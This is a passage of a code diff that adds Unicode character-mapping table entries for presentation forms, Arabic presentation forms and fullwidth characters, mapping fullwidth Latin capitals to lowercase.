+ ["\uFE3A", "\uFE3A"], /* PRESENTATION FORM FOR VERTICAL RIGHT TORTOISE SHELL BRACKET (GLYPH FOR VERTICAL CLOSING TORTOISE SHELL BRACKET) */
+ ["\uFE3B", "\uFE3B"], /* PRESENTATION FORM FOR VERTICAL LEFT BLACK LENTICULAR BRACKET (GLYPH FOR VERTICAL OPENING BLACK LENTICULAR BRACKET) */
+ ["\uFE3C", "\uFE3C"], /* PRESENTATION FORM FOR VERTICAL RIGHT BLACK LENTICULAR BRACKET (GLYPH FOR VERTICAL CLOSING BLACK LENTICULAR BRACKET) */
+ ["\uFE3D", "\uFE3D"], /* PRESENTATION FORM FOR VERTICAL LEFT DOUBLE ANGLE BRACKET (GLYPH FOR VERTICAL OPENING DOUBLE ANGLE BRACKET) */
+ ["\uFE3E", "\uFE3E"], /* PRESENTATION FORM FOR VERTICAL RIGHT DOUBLE ANGLE BRACKET (GLYPH FOR VERTICAL CLOSING DOUBLE ANGLE BRACKET) */
+ ["\uFE3F", "\uFE3F"], /* PRESENTATION FORM FOR VERTICAL LEFT ANGLE BRACKET (GLYPH FOR VERTICAL OPENING ANGLE BRACKET) */
+ ["\uFE40", "\uFE40"], /* PRESENTATION FORM FOR VERTICAL RIGHT ANGLE BRACKET (GLYPH FOR VERTICAL CLOSING ANGLE BRACKET) */
+ ["\uFE41", "\uFE41"], /* PRESENTATION FORM FOR VERTICAL LEFT CORNER BRACKET (GLYPH FOR VERTICAL OPENING CORNER BRACKET) */
+ ["\uFE42", "\uFE42"], /* PRESENTATION FORM FOR VERTICAL RIGHT CORNER BRACKET (GLYPH FOR VERTICAL CLOSING CORNER BRACKET) */
+ ["\uFE43", "\uFE43"], /* PRESENTATION FORM FOR VERTICAL LEFT WHITE CORNER BRACKET (GLYPH FOR VERTICAL OPENING WHITE CORNER BRACKET) */
+ ["\uFE44", "\uFE44"], /* PRESENTATION FORM FOR VERTICAL RIGHT WHITE CORNER BRACKET (GLYPH FOR VERTICAL CLOSING WHITE CORNER BRACKET) */
+ ["\uFE45", "\uFE45"], /* SESAME DOT */
+ ["\uFE46", "\uFE46"], /* WHITE SESAME DOT */
+ ["\uFE47", "\uFE47"], /* PRESENTATION FORM FOR VERTICAL LEFT SQUARE BRACKET */
+ ["\uFE48", "\uFE48"], /* PRESENTATION FORM FOR VERTICAL RIGHT SQUARE BRACKET */
+ ["\uFE49", "\uFE49"], /* DASHED OVERLINE (SPACING DASHED OVERSCORE) */
+ ["\uFE4A", "\uFE4A"], /* CENTRELINE OVERLINE (SPACING CENTERLINE OVERSCORE) */
+ ["\uFE4B", "\uFE4B"], /* WAVY OVERLINE (SPACING WAVY OVERSCORE) */
+ ["\uFE4C", "\uFE4C"], /* DOUBLE WAVY OVERLINE (SPACING DOUBLE WAVY OVERSCORE) */
+ ["\uFE4D", "\uFE4D"], /* DASHED LOW LINE (SPACING DASHED UNDERSCORE) */
+ ["\uFE4E", "\uFE4E"], /* CENTRELINE LOW LINE (SPACING CENTERLINE UNDERSCORE) */
+ ["\uFE4F", "\uFE4F"], /* WAVY LOW LINE (SPACING WAVY UNDERSCORE) */
+ ["\uFE50", "\uFE50"], /* SMALL COMMA */
+ ["\uFE51", "\uFE51"], /* SMALL IDEOGRAPHIC COMMA */
+ ["\uFE52", "\uFE52"], /* SMALL FULL STOP (SMALL PERIOD) */
+ ["\uFE53", "\uFE53"],
+ ["\uFE54", "\uFE54"], /* SMALL SEMICOLON */
+ ["\uFE55", "\uFE55"], /* SMALL COLON */
+ ["\uFE56", "\uFE56"], /* SMALL QUESTION MARK */
+ ["\uFE57", "\uFE57"], /* SMALL EXCLAMATION MARK */
+ ["\uFE58", "\uFE58"], /* SMALL EM DASH */
+ ["\uFE59", "\uFE59"], /* SMALL LEFT PARENTHESIS (SMALL OPENING PARENTHESIS) */
+ ["\uFE5A", "\uFE5A"], /* SMALL RIGHT PARENTHESIS (SMALL CLOSING PARENTHESIS) */
+ ["\uFE5B", "\uFE5B"], /* SMALL LEFT CURLY BRACKET (SMALL OPENING CURLY BRACKET) */
+ ["\uFE5C", "\uFE5C"], /* SMALL RIGHT CURLY BRACKET (SMALL CLOSING CURLY BRACKET) */
+ ["\uFE5D", "\uFE5D"], /* SMALL LEFT TORTOISE SHELL BRACKET (SMALL OPENING TORTOISE SHELL BRACKET) */
+ ["\uFE5E", "\uFE5E"], /* SMALL RIGHT TORTOISE SHELL BRACKET (SMALL CLOSING TORTOISE SHELL BRACKET) */
+ ["\uFE5F", "\uFE5F"], /* SMALL NUMBER SIGN */
+ ["\uFE60", "\uFE60"], /* SMALL AMPERSAND */
+ ["\uFE61", "\uFE61"], /* SMALL ASTERISK */
+ ["\uFE62", "\uFE62"], /* SMALL PLUS SIGN */
+ ["\uFE63", "\uFE63"], /* SMALL HYPHEN-MINUS */
+ ["\uFE64", "\uFE64"], /* SMALL LESS-THAN SIGN */
+ ["\uFE65", "\uFE65"], /* SMALL GREATER-THAN SIGN */
+ ["\uFE66", "\uFE66"], /* SMALL EQUALS SIGN */
+ ["\uFE67", "\uFE67"],
+ ["\uFE68", "\uFE68"], /* SMALL REVERSE SOLIDUS (SMALL BACKSLASH) */
+ ["\uFE69", "\uFE69"], /* SMALL DOLLAR SIGN */
+ ["\uFE6A", "\uFE6A"], /* SMALL PERCENT SIGN */
+ ["\uFE6B", "\uFE6B"], /* SMALL COMMERCIAL AT */
+ ["\uFE6C", "\uFE6C"],
+ ["\uFE6D", "\uFE6D"],
+ ["\uFE6E", "\uFE6E"],
+ ["\uFE6F", "\uFE6F"],
+ ["\uFE70", "\uFE70"], /* ARABIC FATHATAN ISOLATED FORM (ARABIC SPACING FATHATAN) */
+ ["\uFE71", "\uFE71"], /* ARABIC TATWEEL WITH FATHATAN ABOVE (ARABIC FATHATAN ON TATWEEL) */
+ ["\uFE72", "\uFE72"], /* ARABIC DAMMATAN ISOLATED FORM (ARABIC SPACING DAMMATAN) */
+ ["\uFE73", "\uFE73"], /* ARABIC TAIL FRAGMENT */
+ ["\uFE74", "\uFE74"], /* ARABIC KASRATAN ISOLATED FORM (ARABIC SPACING KASRATAN) */
+ ["\uFE75", "\uFE75"],
+ ["\uFE76", "\uFE76"], /* ARABIC FATHA ISOLATED FORM (ARABIC SPACING FATHAH) */
+ ["\uFE77", "\uFE77"], /* ARABIC FATHA MEDIAL FORM (ARABIC FATHAH ON TATWEEL) */
+ ["\uFE78", "\uFE78"], /* ARABIC DAMMA ISOLATED FORM (ARABIC SPACING DAMMAH) */
+ ["\uFE79", "\uFE79"], /* ARABIC DAMMA MEDIAL FORM (ARABIC DAMMAH ON TATWEEL) */
+ ["\uFE7A", "\uFE7A"], /* ARABIC KASRA ISOLATED FORM (ARABIC SPACING KASRAH) */
+ ["\uFE7B", "\uFE7B"], /* ARABIC KASRA MEDIAL FORM (ARABIC KASRAH ON TATWEEL) */
+ ["\uFE7C", "\uFE7C"], /* ARABIC SHADDA ISOLATED FORM (ARABIC SPACING SHADDAH) */
+ ["\uFE7D", "\uFE7D"], /* ARABIC SHADDA MEDIAL FORM (ARABIC SHADDAH ON TATWEEL) */
+ ["\uFE7E", "\uFE7E"], /* ARABIC SUKUN ISOLATED FORM (ARABIC SPACING SUKUN) */
+ ["\uFE7F", "\uFE7F"], /* ARABIC SUKUN MEDIAL FORM (ARABIC SUKUN ON TATWEEL) */
+ ["\uFE80", "\uFE80"], /* ARABIC LETTER HAMZA ISOLATED FORM (GLYPH FOR ISOLATE ARABIC HAMZAH) */
+ ["\uFE81", "\uFE81"], /* ARABIC LETTER ALEF WITH MADDA ABOVE ISOLATED FORM (GLYPH FOR ISOLATE ARABIC MADDAH ON ALEF) */
+ ["\uFE82", "\uFE82"], /* ARABIC LETTER ALEF WITH MADDA ABOVE FINAL FORM (GLYPH FOR FINAL ARABIC MADDAH ON ALEF) */
+ ["\uFE83", "\uFE83"], /* ARABIC LETTER ALEF WITH HAMZA ABOVE ISOLATED FORM (GLYPH FOR ISOLATE ARABIC HAMZAH ON ALEF) */
+ ["\uFE84", "\uFE84"], /* ARABIC LETTER ALEF WITH HAMZA ABOVE FINAL FORM (GLYPH FOR FINAL ARABIC HAMZAH ON ALEF) */
+ ["\uFE85", "\uFE85"], /* ARABIC LETTER WAW WITH HAMZA ABOVE ISOLATED FORM (GLYPH FOR ISOLATE ARABIC HAMZAH ON WAW) */
+ ["\uFE86", "\uFE86"], /* ARABIC LETTER WAW WITH HAMZA ABOVE FINAL FORM (GLYPH FOR FINAL ARABIC HAMZAH ON WAW) */
+ ["\uFE87", "\uFE87"], /* ARABIC LETTER ALEF WITH HAMZA BELOW ISOLATED FORM (GLYPH FOR ISOLATE ARABIC HAMZAH UNDER ALEF) */
+ ["\uFE88", "\uFE88"], /* ARABIC LETTER ALEF WITH HAMZA BELOW FINAL FORM (GLYPH FOR FINAL ARABIC HAMZAH UNDER ALEF) */
+ ["\uFE89", "\uFE89"], /* ARABIC LETTER YEH WITH HAMZA ABOVE ISOLATED FORM (GLYPH FOR ISOLATE ARABIC HAMZAH ON YA) */
+ ["\uFE8A", "\uFE8A"], /* ARABIC LETTER YEH WITH HAMZA ABOVE FINAL FORM (GLYPH FOR FINAL ARABIC HAMZAH ON YA) */
+ ["\uFE8B", "\uFE8B"], /* ARABIC LETTER YEH WITH HAMZA ABOVE INITIAL FORM (GLYPH FOR INITIAL ARABIC HAMZAH ON YA) */
+ ["\uFE8C", "\uFE8C"], /* ARABIC LETTER YEH WITH HAMZA ABOVE MEDIAL FORM (GLYPH FOR MEDIAL ARABIC HAMZAH ON YA) */
+ ["\uFE8D", "\uFE8D"], /* ARABIC LETTER ALEF ISOLATED FORM (GLYPH FOR ISOLATE ARABIC ALEF) */
+ ["\uFE8E", "\uFE8E"], /* ARABIC LETTER ALEF FINAL FORM (GLYPH FOR FINAL ARABIC ALEF) */
+ ["\uFE8F", "\uFE8F"], /* ARABIC LETTER BEH ISOLATED FORM (GLYPH FOR ISOLATE ARABIC BAA) */
+ ["\uFE90", "\uFE90"], /* ARABIC LETTER BEH FINAL FORM (GLYPH FOR FINAL ARABIC BAA) */
+ ["\uFE91", "\uFE91"], /* ARABIC LETTER BEH INITIAL FORM (GLYPH FOR INITIAL ARABIC BAA) */
+ ["\uFE92", "\uFE92"], /* ARABIC LETTER BEH MEDIAL FORM (GLYPH FOR MEDIAL ARABIC BAA) */
+ ["\uFE93", "\uFE93"], /* ARABIC LETTER TEH MARBUTA ISOLATED FORM (GLYPH FOR ISOLATE ARABIC TAA MARBUTAH) */
+ ["\uFE94", "\uFE94"], /* ARABIC LETTER TEH MARBUTA FINAL FORM (GLYPH FOR FINAL ARABIC TAA MARBUTAH) */
+ ["\uFE95", "\uFE95"], /* ARABIC LETTER TEH ISOLATED FORM (GLYPH FOR ISOLATE ARABIC TAA) */
+ ["\uFE96", "\uFE96"], /* ARABIC LETTER TEH FINAL FORM (GLYPH FOR FINAL ARABIC TAA) */
+ ["\uFE97", "\uFE97"], /* ARABIC LETTER TEH INITIAL FORM (GLYPH FOR INITIAL ARABIC TAA) */
+ ["\uFE98", "\uFE98"], /* ARABIC LETTER TEH MEDIAL FORM (GLYPH FOR MEDIAL ARABIC TAA) */
+ ["\uFE99", "\uFE99"], /* ARABIC LETTER THEH ISOLATED FORM (GLYPH FOR ISOLATE ARABIC THAA) */
+ ["\uFE9A", "\uFE9A"], /* ARABIC LETTER THEH FINAL FORM (GLYPH FOR FINAL ARABIC THAA) */
+ ["\uFE9B", "\uFE9B"], /* ARABIC LETTER THEH INITIAL FORM (GLYPH FOR INITIAL ARABIC THAA) */
+ ["\uFE9C", "\uFE9C"], /* ARABIC LETTER THEH MEDIAL FORM (GLYPH FOR MEDIAL ARABIC THAA) */
+ ["\uFE9D", "\uFE9D"], /* ARABIC LETTER JEEM ISOLATED FORM (GLYPH FOR ISOLATE ARABIC JEEM) */
+ ["\uFE9E", "\uFE9E"], /* ARABIC LETTER JEEM FINAL FORM (GLYPH FOR FINAL ARABIC JEEM) */
+ ["\uFE9F", "\uFE9F"], /* ARABIC LETTER JEEM INITIAL FORM (GLYPH FOR INITIAL ARABIC JEEM) */
+ ["\uFEA0", "\uFEA0"], /* ARABIC LETTER JEEM MEDIAL FORM (GLYPH FOR MEDIAL ARABIC JEEM) */
+ ["\uFEA1", "\uFEA1"], /* ARABIC LETTER HAH ISOLATED FORM (GLYPH FOR ISOLATE ARABIC HAA) */
+ ["\uFEA2", "\uFEA2"], /* ARABIC LETTER HAH FINAL FORM (GLYPH FOR FINAL ARABIC HAA) */
+ ["\uFEA3", "\uFEA3"], /* ARABIC LETTER HAH INITIAL FORM (GLYPH FOR INITIAL ARABIC HAA) */
+ ["\uFEA4", "\uFEA4"], /* ARABIC LETTER HAH MEDIAL FORM (GLYPH FOR MEDIAL ARABIC HAA) */
+ ["\uFEA5", "\uFEA5"], /* ARABIC LETTER KHAH ISOLATED FORM (GLYPH FOR ISOLATE ARABIC KHAA) */
+ ["\uFEA6", "\uFEA6"], /* ARABIC LETTER KHAH FINAL FORM (GLYPH FOR FINAL ARABIC KHAA) */
+ ["\uFEA7", "\uFEA7"], /* ARABIC LETTER KHAH INITIAL FORM (GLYPH FOR INITIAL ARABIC KHAA) */
+ ["\uFEA8", "\uFEA8"], /* ARABIC LETTER KHAH MEDIAL FORM (GLYPH FOR MEDIAL ARABIC KHAA) */
+ ["\uFEA9", "\uFEA9"], /* ARABIC LETTER DAL ISOLATED FORM (GLYPH FOR ISOLATE ARABIC DAL) */
+ ["\uFEAA", "\uFEAA"], /* ARABIC LETTER DAL FINAL FORM (GLYPH FOR FINAL ARABIC DAL) */
+ ["\uFEAB", "\uFEAB"], /* ARABIC LETTER THAL ISOLATED FORM (GLYPH FOR ISOLATE ARABIC THAL) */
+ ["\uFEAC", "\uFEAC"], /* ARABIC LETTER THAL FINAL FORM (GLYPH FOR FINAL ARABIC THAL) */
+ ["\uFEAD", "\uFEAD"], /* ARABIC LETTER REH ISOLATED FORM (GLYPH FOR ISOLATE ARABIC RA) */
+ ["\uFEAE", "\uFEAE"], /* ARABIC LETTER REH FINAL FORM (GLYPH FOR FINAL ARABIC RA) */
+ ["\uFEAF", "\uFEAF"], /* ARABIC LETTER ZAIN ISOLATED FORM (GLYPH FOR ISOLATE ARABIC ZAIN) */
+ ["\uFEB0", "\uFEB0"], /* ARABIC LETTER ZAIN FINAL FORM (GLYPH FOR FINAL ARABIC ZAIN) */
+ ["\uFEB1", "\uFEB1"], /* ARABIC LETTER SEEN ISOLATED FORM (GLYPH FOR ISOLATE ARABIC SEEN) */
+ ["\uFEB2", "\uFEB2"], /* ARABIC LETTER SEEN FINAL FORM (GLYPH FOR FINAL ARABIC SEEN) */
+ ["\uFEB3", "\uFEB3"], /* ARABIC LETTER SEEN INITIAL FORM (GLYPH FOR INITIAL ARABIC SEEN) */
+ ["\uFEB4", "\uFEB4"], /* ARABIC LETTER SEEN MEDIAL FORM (GLYPH FOR MEDIAL ARABIC SEEN) */
+ ["\uFEB5", "\uFEB5"], /* ARABIC LETTER SHEEN ISOLATED FORM (GLYPH FOR ISOLATE ARABIC SHEEN) */
+ ["\uFEB6", "\uFEB6"], /* ARABIC LETTER SHEEN FINAL FORM (GLYPH FOR FINAL ARABIC SHEEN) */
+ ["\uFEB7", "\uFEB7"], /* ARABIC LETTER SHEEN INITIAL FORM (GLYPH FOR INITIAL ARABIC SHEEN) */
+ ["\uFEB8", "\uFEB8"], /* ARABIC LETTER SHEEN MEDIAL FORM (GLYPH FOR MEDIAL ARABIC SHEEN) */
+ ["\uFEB9", "\uFEB9"], /* ARABIC LETTER SAD ISOLATED FORM (GLYPH FOR ISOLATE ARABIC SAD) */
+ ["\uFEBA", "\uFEBA"], /* ARABIC LETTER SAD FINAL FORM (GLYPH FOR FINAL ARABIC SAD) */
+ ["\uFEBB", "\uFEBB"], /* ARABIC LETTER SAD INITIAL FORM (GLYPH FOR INITIAL ARABIC SAD) */
+ ["\uFEBC", "\uFEBC"], /* ARABIC LETTER SAD MEDIAL FORM (GLYPH FOR MEDIAL ARABIC SAD) */
+ ["\uFEBD", "\uFEBD"], /* ARABIC LETTER DAD ISOLATED FORM (GLYPH FOR ISOLATE ARABIC DAD) */
+ ["\uFEBE", "\uFEBE"], /* ARABIC LETTER DAD FINAL FORM (GLYPH FOR FINAL ARABIC DAD) */
+ ["\uFEBF", "\uFEBF"], /* ARABIC LETTER DAD INITIAL FORM (GLYPH FOR INITIAL ARABIC DAD) */
+ ["\uFEC0", "\uFEC0"], /* ARABIC LETTER DAD MEDIAL FORM (GLYPH FOR MEDIAL ARABIC DAD) */
+ ["\uFEC1", "\uFEC1"], /* ARABIC LETTER TAH ISOLATED FORM (GLYPH FOR ISOLATE ARABIC TAH) */
+ ["\uFEC2", "\uFEC2"], /* ARABIC LETTER TAH FINAL FORM (GLYPH FOR FINAL ARABIC TAH) */
+ ["\uFEC3", "\uFEC3"], /* ARABIC LETTER TAH INITIAL FORM (GLYPH FOR INITIAL ARABIC TAH) */
+ ["\uFEC4", "\uFEC4"], /* ARABIC LETTER TAH MEDIAL FORM (GLYPH FOR MEDIAL ARABIC TAH) */
+ ["\uFEC5", "\uFEC5"], /* ARABIC LETTER ZAH ISOLATED FORM (GLYPH FOR ISOLATE ARABIC DHAH) */
+ ["\uFEC6", "\uFEC6"], /* ARABIC LETTER ZAH FINAL FORM (GLYPH FOR FINAL ARABIC DHAH) */
+ ["\uFEC7", "\uFEC7"], /* ARABIC LETTER ZAH INITIAL FORM (GLYPH FOR INITIAL ARABIC DHAH) */
+ ["\uFEC8", "\uFEC8"], /* ARABIC LETTER ZAH MEDIAL FORM (GLYPH FOR MEDIAL ARABIC DHAH) */
+ ["\uFEC9", "\uFEC9"], /* ARABIC LETTER AIN ISOLATED FORM (GLYPH FOR ISOLATE ARABIC AIN) */
+ ["\uFECA", "\uFECA"], /* ARABIC LETTER AIN FINAL FORM (GLYPH FOR FINAL ARABIC AIN) */
+ ["\uFECB", "\uFECB"], /* ARABIC LETTER AIN INITIAL FORM (GLYPH FOR INITIAL ARABIC AIN) */
+ ["\uFECC", "\uFECC"], /* ARABIC LETTER AIN MEDIAL FORM (GLYPH FOR MEDIAL ARABIC AIN) */
+ ["\uFECD", "\uFECD"], /* ARABIC LETTER GHAIN ISOLATED FORM (GLYPH FOR ISOLATE ARABIC GHAIN) */
+ ["\uFECE", "\uFECE"], /* ARABIC LETTER GHAIN FINAL FORM (GLYPH FOR FINAL ARABIC GHAIN) */
+ ["\uFECF", "\uFECF"], /* ARABIC LETTER GHAIN INITIAL FORM (GLYPH FOR INITIAL ARABIC GHAIN) */
+ ["\uFED0", "\uFED0"], /* ARABIC LETTER GHAIN MEDIAL FORM (GLYPH FOR MEDIAL ARABIC GHAIN) */
+ ["\uFED1", "\uFED1"], /* ARABIC LETTER FEH ISOLATED FORM (GLYPH FOR ISOLATE ARABIC FA) */
+ ["\uFED2", "\uFED2"], /* ARABIC LETTER FEH FINAL FORM (GLYPH FOR FINAL ARABIC FA) */
+ ["\uFED3", "\uFED3"], /* ARABIC LETTER FEH INITIAL FORM (GLYPH FOR INITIAL ARABIC FA) */
+ ["\uFED4", "\uFED4"], /* ARABIC LETTER FEH MEDIAL FORM (GLYPH FOR MEDIAL ARABIC FA) */
+ ["\uFED5", "\uFED5"], /* ARABIC LETTER QAF ISOLATED FORM (GLYPH FOR ISOLATE ARABIC QAF) */
+ ["\uFED6", "\uFED6"], /* ARABIC LETTER QAF FINAL FORM (GLYPH FOR FINAL ARABIC QAF) */
+ ["\uFED7", "\uFED7"], /* ARABIC LETTER QAF INITIAL FORM (GLYPH FOR INITIAL ARABIC QAF) */
+ ["\uFED8", "\uFED8"], /* ARABIC LETTER QAF MEDIAL FORM (GLYPH FOR MEDIAL ARABIC QAF) */
+ ["\uFED9", "\uFED9"], /* ARABIC LETTER KAF ISOLATED FORM (GLYPH FOR ISOLATE ARABIC CAF) */
+ ["\uFEDA", "\uFEDA"], /* ARABIC LETTER KAF FINAL FORM (GLYPH FOR FINAL ARABIC CAF) */
+ ["\uFEDB", "\uFEDB"], /* ARABIC LETTER KAF INITIAL FORM (GLYPH FOR INITIAL ARABIC CAF) */
+ ["\uFEDC", "\uFEDC"], /* ARABIC LETTER KAF MEDIAL FORM (GLYPH FOR MEDIAL ARABIC CAF) */
+ ["\uFEDD", "\uFEDD"], /* ARABIC LETTER LAM ISOLATED FORM (GLYPH FOR ISOLATE ARABIC LAM) */
+ ["\uFEDE", "\uFEDE"], /* ARABIC LETTER LAM FINAL FORM (GLYPH FOR FINAL ARABIC LAM) */
+ ["\uFEDF", "\uFEDF"], /* ARABIC LETTER LAM INITIAL FORM (GLYPH FOR INITIAL ARABIC LAM) */
+ ["\uFEE0", "\uFEE0"], /* ARABIC LETTER LAM MEDIAL FORM (GLYPH FOR MEDIAL ARABIC LAM) */
+ ["\uFEE1", "\uFEE1"], /* ARABIC LETTER MEEM ISOLATED FORM (GLYPH FOR ISOLATE ARABIC MEEM) */
+ ["\uFEE2", "\uFEE2"], /* ARABIC LETTER MEEM FINAL FORM (GLYPH FOR FINAL ARABIC MEEM) */
+ ["\uFEE3", "\uFEE3"], /* ARABIC LETTER MEEM INITIAL FORM (GLYPH FOR INITIAL ARABIC MEEM) */
+ ["\uFEE4", "\uFEE4"], /* ARABIC LETTER MEEM MEDIAL FORM (GLYPH FOR MEDIAL ARABIC MEEM) */
+ ["\uFEE5", "\uFEE5"], /* ARABIC LETTER NOON ISOLATED FORM (GLYPH FOR ISOLATE ARABIC NOON) */
+ ["\uFEE6", "\uFEE6"], /* ARABIC LETTER NOON FINAL FORM (GLYPH FOR FINAL ARABIC NOON) */
+ ["\uFEE7", "\uFEE7"], /* ARABIC LETTER NOON INITIAL FORM (GLYPH FOR INITIAL ARABIC NOON) */
+ ["\uFEE8", "\uFEE8"], /* ARABIC LETTER NOON MEDIAL FORM (GLYPH FOR MEDIAL ARABIC NOON) */
+ ["\uFEE9", "\uFEE9"], /* ARABIC LETTER HEH ISOLATED FORM (GLYPH FOR ISOLATE ARABIC HA) */
+ ["\uFEEA", "\uFEEA"], /* ARABIC LETTER HEH FINAL FORM (GLYPH FOR FINAL ARABIC HA) */
+ ["\uFEEB", "\uFEEB"], /* ARABIC LETTER HEH INITIAL FORM (GLYPH FOR INITIAL ARABIC HA) */
+ ["\uFEEC", "\uFEEC"], /* ARABIC LETTER HEH MEDIAL FORM (GLYPH FOR MEDIAL ARABIC HA) */
+ ["\uFEED", "\uFEED"], /* ARABIC LETTER WAW ISOLATED FORM (GLYPH FOR ISOLATE ARABIC WAW) */
+ ["\uFEEE", "\uFEEE"], /* ARABIC LETTER WAW FINAL FORM (GLYPH FOR FINAL ARABIC WAW) */
+ ["\uFEEF", "\uFEEF"], /* ARABIC LETTER ALEF MAKSURA ISOLATED FORM (GLYPH FOR ISOLATE ARABIC ALEF MAQSURAH) */
+ ["\uFEF0", "\uFEF0"], /* ARABIC LETTER ALEF MAKSURA FINAL FORM (GLYPH FOR FINAL ARABIC ALEF MAQSURAH) */
+ ["\uFEF1", "\uFEF1"], /* ARABIC LETTER YEH ISOLATED FORM (GLYPH FOR ISOLATE ARABIC YA) */
+ ["\uFEF2", "\uFEF2"], /* ARABIC LETTER YEH FINAL FORM (GLYPH FOR FINAL ARABIC YA) */
+ ["\uFEF3", "\uFEF3"], /* ARABIC LETTER YEH INITIAL FORM (GLYPH FOR INITIAL ARABIC YA) */
+ ["\uFEF4", "\uFEF4"], /* ARABIC LETTER YEH MEDIAL FORM (GLYPH FOR MEDIAL ARABIC YA) */
+ ["\uFEF5", "\uFEF5"], /* ARABIC LIGATURE LAM WITH ALEF WITH MADDA ABOVE ISOLATED FORM (GLYPH FOR ISOLATE ARABIC MADDAH ON LIGATURE LAM ALEF) */
+ ["\uFEF6", "\uFEF6"], /* ARABIC LIGATURE LAM WITH ALEF WITH MADDA ABOVE FINAL FORM (GLYPH FOR FINAL ARABIC MADDAH ON LIGATURE LAM ALEF) */
+ ["\uFEF7", "\uFEF7"], /* ARABIC LIGATURE LAM WITH ALEF WITH HAMZA ABOVE ISOLATED FORM (GLYPH FOR ISOLATE ARABIC HAMZAH ON LIGATURE LAM ALEF) */
+ ["\uFEF8", "\uFEF8"], /* ARABIC LIGATURE LAM WITH ALEF WITH HAMZA ABOVE FINAL FORM (GLYPH FOR FINAL ARABIC HAMZAH ON LIGATURE LAM ALEF) */
+ ["\uFEF9", "\uFEF9"], /* ARABIC LIGATURE LAM WITH ALEF WITH HAMZA BELOW ISOLATED FORM (GLYPH FOR ISOLATE ARABIC HAMZAH UNDER LIGATURE LAM ALEF) */
+ ["\uFEFA", "\uFEFA"], /* ARABIC LIGATURE LAM WITH ALEF WITH HAMZA BELOW FINAL FORM (GLYPH FOR FINAL ARABIC HAMZAH UNDER LIGATURE LAM ALEF) */
+ ["\uFEFB", "\uFEFB"], /* ARABIC LIGATURE LAM WITH ALEF ISOLATED FORM (GLYPH FOR ISOLATE ARABIC LIGATURE LAM ALEF) */
+ ["\uFEFC", "\uFEFC"], /* ARABIC LIGATURE LAM WITH ALEF FINAL FORM (GLYPH FOR FINAL ARABIC LIGATURE LAM ALEF) */
+ ["\uFEFD", "\uFEFD"],
+ ["\uFEFE", "\uFEFE"],
+ ["\uFEFF", "\uFEFF"], /* ZERO WIDTH NO-BREAK SPACE (BYTE ORDER MARK) */
+ ["\uFF00", "\uFF00"],
+ ["\uFF01", "\uFF01"], /* FULLWIDTH EXCLAMATION MARK */
+ ["\uFF02", "\uFF02"], /* FULLWIDTH QUOTATION MARK */
+ ["\uFF03", "\uFF03"], /* FULLWIDTH NUMBER SIGN */
+ ["\uFF04", "\uFF04"], /* FULLWIDTH DOLLAR SIGN */
+ ["\uFF05", "\uFF05"], /* FULLWIDTH PERCENT SIGN */
+ ["\uFF06", "\uFF06"], /* FULLWIDTH AMPERSAND */
+ ["\uFF07", "\uFF07"], /* FULLWIDTH APOSTROPHE */
+ ["\uFF08", "\uFF08"], /* FULLWIDTH LEFT PARENTHESIS (FULLWIDTH OPENING PARENTHESIS) */
+ ["\uFF09", "\uFF09"], /* FULLWIDTH RIGHT PARENTHESIS (FULLWIDTH CLOSING PARENTHESIS) */
+ ["\uFF0A", "\uFF0A"], /* FULLWIDTH ASTERISK */
+ ["\uFF0B", "\uFF0B"], /* FULLWIDTH PLUS SIGN */
+ ["\uFF0C", "\uFF0C"], /* FULLWIDTH COMMA */
+ ["\uFF0D", "\uFF0D"], /* FULLWIDTH HYPHEN-MINUS */
+ ["\uFF0E", "\uFF0E"], /* FULLWIDTH FULL STOP (FULLWIDTH PERIOD) */
+ ["\uFF0F", "\uFF0F"], /* FULLWIDTH SOLIDUS (FULLWIDTH SLASH) */
+ ["\uFF10", "\uFF10"], /* FULLWIDTH DIGIT ZERO */
+ ["\uFF11", "\uFF11"], /* FULLWIDTH DIGIT ONE */
+ ["\uFF12", "\uFF12"], /* FULLWIDTH DIGIT TWO */
+ ["\uFF13", "\uFF13"], /* FULLWIDTH DIGIT THREE */
+ ["\uFF14", "\uFF14"], /* FULLWIDTH DIGIT FOUR */
+ ["\uFF15", "\uFF15"], /* FULLWIDTH DIGIT FIVE */
+ ["\uFF16", "\uFF16"], /* FULLWIDTH DIGIT SIX */
+ ["\uFF17", "\uFF17"], /* FULLWIDTH DIGIT SEVEN */
+ ["\uFF18", "\uFF18"], /* FULLWIDTH DIGIT EIGHT */
+ ["\uFF19", "\uFF19"], /* FULLWIDTH DIGIT NINE */
+ ["\uFF1A", "\uFF1A"], /* FULLWIDTH COLON */
+ ["\uFF1B", "\uFF1B"], /* FULLWIDTH SEMICOLON */
+ ["\uFF1C", "\uFF1C"], /* FULLWIDTH LESS-THAN SIGN */
+ ["\uFF1D", "\uFF1D"], /* FULLWIDTH EQUALS SIGN */
+ ["\uFF1E", "\uFF1E"], /* FULLWIDTH GREATER-THAN SIGN */
+ ["\uFF1F", "\uFF1F"], /* FULLWIDTH QUESTION MARK */
+ ["\uFF20", "\uFF20"], /* FULLWIDTH COMMERCIAL AT */
+ ["\uFF21", "\uFF41"], /* FULLWIDTH LATIN CAPITAL LETTER A */
+ ["\uFF22", "\uFF42"], /* FULLWIDTH LATIN CAPITAL LETTER B */
+ ["\uFF23", "\uFF43"], /* FULLWIDTH LATIN CAPITAL LETTER C */
+ ["\uFF24", "\uFF44"], /* FULLWIDTH LATIN CAPITAL LETTER D */
+ ["\uFF25", "\uFF45"], /* FULLWIDTH LATIN CAPITAL LETTER E */
+ ["\uFF26", "\uFF46"], /* FULLWIDTH LATIN CAPITAL LETTER F */
+ ["\uFF27", "\uFF47"], /* FULLWIDTH LATIN CAPITAL LETTER G */
+ ["\uFF28", "\uFF48"], /* FULLWIDTH LATIN CAPITAL LETTER H */
+ ["\uFF29", "\uFF49"], /* FULLWIDTH LATIN CAPITAL LETTER I */
+ ["\uFF2A", "\uFF4A"], /* FULLWIDTH LATIN CAPITAL LETTER J */
+ ["\uFF2B", "\uFF4B"], /* FULLWIDTH LATIN CAPITAL LETTER K */
+ ["\uFF2C", "\uFF4C"], /* FULLWIDTH LATIN CAPITAL LETTER L */
+ ["\uFF2D", "\uFF4D"], /* FULLWIDTH LATIN CAPITAL LETTER M */
+ ["\uFF2E", "\uFF4E"], /* FULLWIDTH LATIN CAPITAL LETTER N */
+ ["\uFF2F", "\uFF4F"], /* FULLWIDTH LATIN CAPITAL LETTER O */
+ ["\uFF30", "\uFF50"], /* FULLWIDTH LATIN CAPITAL LETTER P */
+ ["\uFF31", "\uFF51"], /* FULLWIDTH LATIN CAPITAL LETTER Q */
